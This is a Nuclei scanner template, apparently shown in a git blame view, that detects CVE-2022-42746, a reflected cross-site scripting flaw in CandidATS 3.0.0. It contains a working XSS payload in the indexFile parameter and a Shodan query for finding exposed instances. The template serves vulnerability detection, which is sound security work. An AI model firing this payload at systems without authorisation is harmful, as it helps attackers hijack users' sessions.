nuclei-templates/http/cves/2022/CVE-2022-42746.yaml

50 lines
1.5 KiB
YAML
Raw Normal View History

2022-11-04 13:21:54 +00:00
id: CVE-2022-42746
info:
name: CandidATS 3.0.0 - Cross-Site Scripting.
2022-11-04 13:21:54 +00:00
author: arafatansari
severity: medium
2022-11-09 16:45:32 +00:00
description: |
CandidATS 3.0.0 contains a cross-site scripting vulnerability via the indexFile parameter of the ajax.php resource. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
2022-11-04 13:21:54 +00:00
reference:
- https://fluidattacks.com/advisories/modestep/
2022-11-09 16:46:50 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-42746
- https://candidats.net/
2022-11-09 15:21:27 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
2022-11-09 15:21:27 +00:00
cve-id: CVE-2022-42746
cwe-id: CWE-79
2023-07-11 19:49:27 +00:00
epss-score: 0.00071
cpe: cpe:2.3:a:auieo:candidats:3.0.0:-:*:*:*:*:*:*
2022-11-04 13:21:54 +00:00
metadata:
max-request: 1
2022-11-09 16:44:53 +00:00
shodan-query: http.html:"CandidATS"
2023-06-04 08:13:42 +00:00
verified: true
2023-07-11 19:49:27 +00:00
vendor: auieo
product: candidats
2022-11-09 15:21:27 +00:00
tags: cve,cve2022,candidats,xss
2022-11-04 13:21:54 +00:00
http:
2022-11-04 13:21:54 +00:00
- method: GET
2022-11-04 13:25:16 +00:00
path:
2022-11-09 15:21:27 +00:00
- '{{BaseURL}}/ajax.php?f=getPipelineJobOrder&joborderID=50&page=0&entriesPerPage=15&sortBy=dateCreatedInt&sortDirection=desc&indexFile=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&isPopup=0'
2022-11-04 13:21:54 +00:00
matchers-condition: and
matchers:
- type: word
part: body
words:
2022-11-09 15:21:27 +00:00
- '<script>alert(document.domain)</script>'
- 'candidat'
condition: and
- type: word
part: header
words:
- text/html
2022-11-04 13:54:34 +00:00
2022-11-04 13:21:54 +00:00
- type: status
status:
- 404